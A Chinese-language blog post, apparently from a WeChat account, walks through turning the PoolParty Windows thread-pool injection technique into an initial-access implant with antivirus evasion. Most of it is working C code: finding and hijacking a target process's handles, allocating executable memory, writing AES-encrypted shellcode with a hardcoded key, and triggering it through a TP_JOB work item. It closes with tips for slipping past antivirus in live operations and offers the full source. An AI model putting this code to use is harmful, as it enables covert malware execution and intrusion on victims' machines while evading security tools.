前言
12月,一位拿过冠军的巴西柔术运动员在2023欧洲黑帽大会发表了一个新的代码注入的研究,这不禁让我感慨万千。跟人家业余的一比,我这拿打站当饭碗的人都看不见他的尾灯。
这位研究员找出了一种新的代码注入方式将其取名为PoolParty
。这是一种利用Windows线程池的代码注入,今年下半年也出过其他新的技术例如NtSetInformationProcess
、 DllNotificationInjection
,多多少少都有些踩着前人肩膀的意味,不过PoolParty
确是新的技术。当我第一次看研究文章的时候这个技术在国内也没什么知名度,但过了几天不知怎的连国内某些工具搬运号都在传一个PoolParty
的bof脚本。
bof只能在获取权限后用实现权限维持,其实这个注入拿来作为初始访问也是不错的。
目的
我不打算在本篇文章中详细探究Windows线程池的机制,也不打算实现PoolParty
每一种的注入方式。我使用一种方式作为参考,并用代码实现一个用于初始访问的马并做基本的免杀,在文章最后公开所有相关的代码。PoolParty
作者给出了示例代码,但是他用标准c++
以及boost
库写的,代码比较难以理解,我参考其他的bof项目进行了改动,采用其中一种向TP_ALPC
插入工作项的方式来实现。
介绍
常规的代码注入分三步,分配空间/修改空间->写入shellcode->执行线程/进程,各种新技术的研究也就是围绕着这三点。PoolParty
利用用户模式下的Windows的可信进程池机制解决了第三步————执行的问题,可以很大程度上规避EDR及杀毒。
要了解如何使用Windows线程池注入,首先要知道什么是Windows线程池。
Windows 线程池是一种由操作系统提供的机制,用于管理和执行应用程序中的并发任务。线程池允许应用程序有效地利用系统资源,通过重用线程来减少线程的创建和销毁开销,从而提高性能和响应性。*
Windows上的所有进程是共享线程池的,线程池包括工作线程、等待线程、工作队列、工作器工厂、默认线程池。作者详细剖析了线程池的每个功能,并利用8种不同的利用方式实现了代码注入。
实现
获取目标进程句柄
因为是远程注入,所以需要指定一个进程,作为初始访问,各个机器上的pid事先是不知道的,可以写一个GetProcessIdByName
函数,使用CreateToolhelp32Snapshot
创建快照,然后来根据进程名枚举pid。
然后使用OpenProcess
函数根据进程pid获取句柄,以便进行后续操作。
DWORD GetProcessIdByName(const wchar_t* processName) {
DWORD pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &processEntry)) {
do {
if (_wcsicmp(processEntry.szExeFile, processName) == 0) {
pid = processEntry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &processEntry));
}
CloseHandle(snapshot);
}
return pid;
}
HANDLE GetTargetProcessHandle() {
DWORD m_dwTargetPid = GetProcessIdByName(processName); //得到PID
HANDLE p_hTargetPid = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, m_dwTargetPid); //获取句柄
if (p_hTargetPid == NULL) {
return NULL;
}
else {
return p_hTargetPid;
}
}
劫持进程句柄
通过查找NtQueryInformationProcess
函数的地址,将目标进程的句柄信息到当前进程,便可以在当前进程操作目标进程了,这要比直接操作远程线程安全。
HANDLE HijackProcessHandle(PWSTR wsObjectType, HANDLE p_hTarget, DWORD dwDesiredAccess) {
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"));
BYTE* Information = NULL;
ULONG InformationLength = 0;
NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;
do {
Information = (BYTE*)realloc(Information, InformationLength);
Ntstatus = NtQueryInformationProcess(p_hTarget, (PROCESSINFOCLASS)(ProcessHandleInformation), Information, InformationLength, &InformationLength);
} while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);
PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessHandleInformation = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)(Information);
HANDLE p_hDuplicatedObject;
ULONG InformationLength_ = 0;
for (int i = 0; i < pProcessHandleInformation->NumberOfHandles; i++) {
DuplicateHandle(
p_hTarget,
pProcessHandleInformation->Handles[i].HandleValue,
GetCurrentProcess(),
&p_hDuplicatedObject,
dwDesiredAccess,
FALSE,
(DWORD_PTR)NULL);
BYTE* pObjectInformation;
pObjectInformation = NtQueryObject_(p_hDuplicatedObject, ObjectTypeInformation);
PPUBLIC_OBJECT_TYPE_INFORMATION pObjectTypeInformation = (PPUBLIC_OBJECT_TYPE_INFORMATION)(pObjectInformation);
if (wcscmp(wsObjectType, pObjectTypeInformation->TypeName.Buffer) != 0) {
continue;
}
return p_hDuplicatedObject;
}
}
分配内存空间
由于已经劫持了目标进程,在当前进程分配空间等于在目标进程分配空间。
因为这个技术解决的是CreateRemoteThread()
的问题,所以分配空间修改空间属性还是必要的。
LPVOID ShellcodeAddress = VirtualAllocEx(m_p_hTargetPid, NULL, m_szShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (ShellcodeAddress == NULL) {
return -1;
}
return ShellcodeAddress;
写入shellcode
使用WriteProcessMemory
写入shellcode
BOOL res = WriteProcessMemory(m_p_hTargetPid, m_ShellcodeAddress, m_cShellcode, m_szShellcodeSize, NULL);
写入之前还需要进行shellcode加密实现免杀。
自定义代码的AES算法用于加密,不要使用AES库,要使用自定义代码实现。
使用python脚本加密二进制的shellcode,脚本使用32位随机key加密原始shellcode并base64,加密后会在当前目录生成一个sc.h
文件。
文件内容如下
const char sc_0[16] = { 0x4c,0x62,0x6f,0x44,0x4f,0x68,0x42,0x4f,0x32,0x66,0x35,0x6a,0x34,0x4f,0x51,0x52 };
char sc_1[16] = { 0x58,0x59,0x48,0x56,0x74,0x51,0x30,0x4d,0x62,0x55,0x61,0x5a,0x66,0x2b,0x68,0x79 };
const char sc_2[16] = { 0x2b,0x33,0x4b,0x5a,0x67,0x32,0x7a,0x44,0x4f,0x67,0x58,0x76,0x63,0x51,0x5a,0x77 };
char sc_3[16] = { 0x4a,0x66,0x47,0x7a,0x4d,0x6b,0x74,0x70,0x52,0x55,0x79,0x32,0x4b,0x57,0x75,0x73 };
const char sc_4[16] = { 0x33,0x6a,0x78,0x4e,0x63,0x6c,0x75,0x69,0x33,0x49,0x31,0x78,0x31,0x39,0x47,0x42 };
省略
char sc[];
int sc_length = ;
void buildsc_0() {
memcpy(&sc[0], sc_0, 16);
memcpy(&sc[16], sc_1, 16);
memcpy(&sc[32], sc_2, 16);
省略
}
void buildsc() {
buildsc_0();
}
BYTE key[] = "eMABoOlBgCJyZKavRQiWLqnKENMBLeoA";
将加密后的shellcode复制到项目中并定义相应的解密代码
buildsc(); //获取shellcode
size_t szOutput = 0;
DWORD size = 0;
unsigned char* file_enc = NULL;
BYTE* beaconContent = NULL;
size_t beaconSize = NULL;
file_enc = base64_decode(sc, sc_length, &szOutput); //先对shellcode base64解码
for (int i = 0; i < sc_length; i++) {
printf("0x%x,", file_enc[i]);
}
if (szOutput == 0) {
DEBUG("[x] Base64 decode failed n");
return -1;
}
//使用key来AES解密
beaconSize = szOutput - 16;
beaconContent = (unsigned char*)calloc(beaconSize, sizeof(BYTE));
BOOL decryptStatus = aes_decrypt(key, (sizeof(key) / sizeof(key[0])) - 1, file_enc, beaconSize, beaconContent);
if (!decryptStatus || beaconContent == NULL) {
DEBUG("[x] AES decryption failedn");
return -1;
}
for (int i = 0; i < beaconSize; i++) {
m_cShellcode[i] = beaconContent[i];
printf("0x%x,", beaconContent[i]);
}
printf("n");
m_szShellcodeSize = beaconSize;
向TP_JOB插入线程
随机名称工作对象名
void RemoteTpJobInsertionSetupExecution() {
srand((unsigned int)time(NULL));
for (int i = 0; i < JOB_NAME_LENGTH; ++i) {
POOL_PARTY_JOB_NAME[i] = generateRandomLetter();
}
POOL_PARTY_JOB_NAME[JOB_NAME_LENGTH] = ' ';
创建一个工作对象,从ntdll.dll
获取TpAllocJobNotification
函数地址,创建一个线程池工作
_TpAllocJobNotification TpAllocJobNotification = (_TpAllocJobNotification)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpAllocJobNotification"));
HANDLE p_hJob = CreateJobObjectA(NULL, POOL_PARTY_JOB_NAME);
if (p_hJob == NULL) {
printf("[INFO] Failed to create job object with name %s", POOL_PARTY_JOB_NAME);
return;
}
printf("[INFO] Created job object with name `%s`", POOL_PARTY_JOB_NAME);
PFULL_TP_JOB pTpJob = { 0 };
NTSTATUS Ntstatus = TpAllocJobNotification(&pTpJob, p_hJob, m_ShellcodeAddress, NULL, NULL);
if (!NT_SUCCESS(Ntstatus)) {
printf("[INFO] TpAllocJobNotification Failed!");
return;
}
printf("[INFO] Created TP_JOB structure associated with the shellcode");
分配TP_JOB并写入目标进程
PFULL_TP_JOB RemoteTpJobAddress = (PFULL_TP_JOB)(VirtualAllocEx(m_p_hTargetPid, NULL, sizeof(FULL_TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
printf("[INFO] Allocated TP_JOB memory in the target process: %p", RemoteTpJobAddress);
WriteProcessMemory(m_p_hTargetPid, RemoteTpJobAddress, pTpJob, sizeof(FULL_TP_JOB), NULL);
printf("[INFO] Written the specially crafted TP_JOB structure to the target process");
工作对象关联到IO完成端口
JOBOBJECT_ASSOCIATE_COMPLETION_PORT JobAssociateCopmletionPort = { 0 };
SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));
printf("[INFO] Zeroed out job object `%s` IO completion port", POOL_PARTY_JOB_NAME);
JobAssociateCopmletionPort.CompletionKey = RemoteTpJobAddress;
JobAssociateCopmletionPort.CompletionPort = m_p_hIoCompletion;
SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT));
printf("[INFO] Associated job object `%s` with the IO completion port of the target process worker factory", POOL_PARTY_JOB_NAME);
将当前进程分配给工作对象
AssignProcessToJobObject(p_hJob, GetCurrentProcess());
printf("[INFO] Assigned current process to job object `%s` to queue a packet to the IO completion port of the target process worker factory", POOL_PARTY_JOB_NAME);
}
利用不同的线程池功能会需要不同的条件,这里是通过关联IO端口让工作对象触发线程,其他的方式有例如需要写入文件、链接ALPC端口之类的。
至此已经完成了整个注入流程。
观察
通过在代码中修改processName
指定进程名,可疑看到新线程已经成功被线程池执行。
在进程的内存中可看到注入的代码
对比一下注入前后的线程情况
注入前
注入后
虽然多出几个新线程,但是在线程调用栈中完全找不到可疑API。
最后
改一下后台运行,简单测试一下杀软环境。
杀毒对explorer.exe
、RuntimeBroker.exe
之类的进程严格监控,实战中还需注意。
而且对于不同杀软,实战中还需要实现不同的混淆方式。
引用
原作者文章
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools?utm_source=social-media&utm_medium=twitter&utm_campaign=2023Q3_SM_Twitter
原作者代码
https://github.com/SafeBreach-Labs/PoolParty
Bof插件
https://github.com/0xEr3bus/PoolPartyBof
文中代码获取,公众号留言:231225
原文始发于微信公众号(XINYU2428):利用Windows线程池的代码注入